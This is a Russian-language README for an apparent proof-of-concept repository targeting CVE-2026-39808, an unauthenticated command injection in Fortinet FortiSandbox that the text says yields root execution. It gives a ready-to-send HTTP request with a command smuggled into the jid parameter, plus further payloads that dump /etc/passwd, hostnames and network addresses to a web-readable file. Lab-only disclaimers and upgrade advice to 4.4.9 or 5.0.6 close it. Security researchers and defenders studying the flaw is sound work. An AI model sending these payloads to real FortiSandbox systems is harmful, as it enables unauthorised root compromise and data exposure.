🚨 FortiSandbox Побег из песочницы с правами root - CVE-2026-39808

---

🎯 Обзор

Этот репозиторий содержит чистое и хорошо документированное подтверждение концепции (Proof of Concept) для CVE-2026-39808 — критической уязвимости неавторизованного внедрения команд в Fortinet FortiSandbox, которая позволяет побег из песочницы и удаленное выполнение кода с правами root (uid=0).

Что демонстрирует этот PoC:

• Обход пути (Path Traversal) + внедрение команд через параметр jid
• Побег из песочницы (sandbox breakout) из аналитической среды
• Выполнение произвольных команд с привилегиями root
• Чтение системных файлов и информации о сети

📸 Демонстрация

Успешная эксплуатация: uid=0 gid=0 groups=0

🚀 Затронутые версии

🛠️ Как использовать (только в лаборатории)

1. Простая полезная нагрузка (рекомендуется)

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. Просмотр результата

Откройте в браузере:

https://your-lab-ip/ng/out.txt

3. Примеры продвинутых полезных нагрузок

# Get IP address + hostname
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# Full system reconnaissance
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 Содержимое репозитория

• poc.py → Автоматический эксплойт на Python
• burp-request.txt → Готовый к использованию запрос Burp Suite
• payloads.md → Коллекция полезных нагрузок
• screenshots/ → Пошаговые изображения эксплуатации
• README.md → Этот файл

⚠️ Важные замечания

• Только для образовательных и лабораторных целей
• НЕ используйте это в производственных или неавторизованных системах
• Всегда получайте соответствующее разрешение перед тестированием
• Обновите FortiSandbox до версии 4.4.9+ или 5.0.6+

🛡️ Меры по устранению

Немедленно обновите FortiSandbox до одной из следующих версий:

• 4.4.9 или выше
• 5.0.6 или выше

Fortinet выпустил официальные исправления, устраняющие данную уязвимость.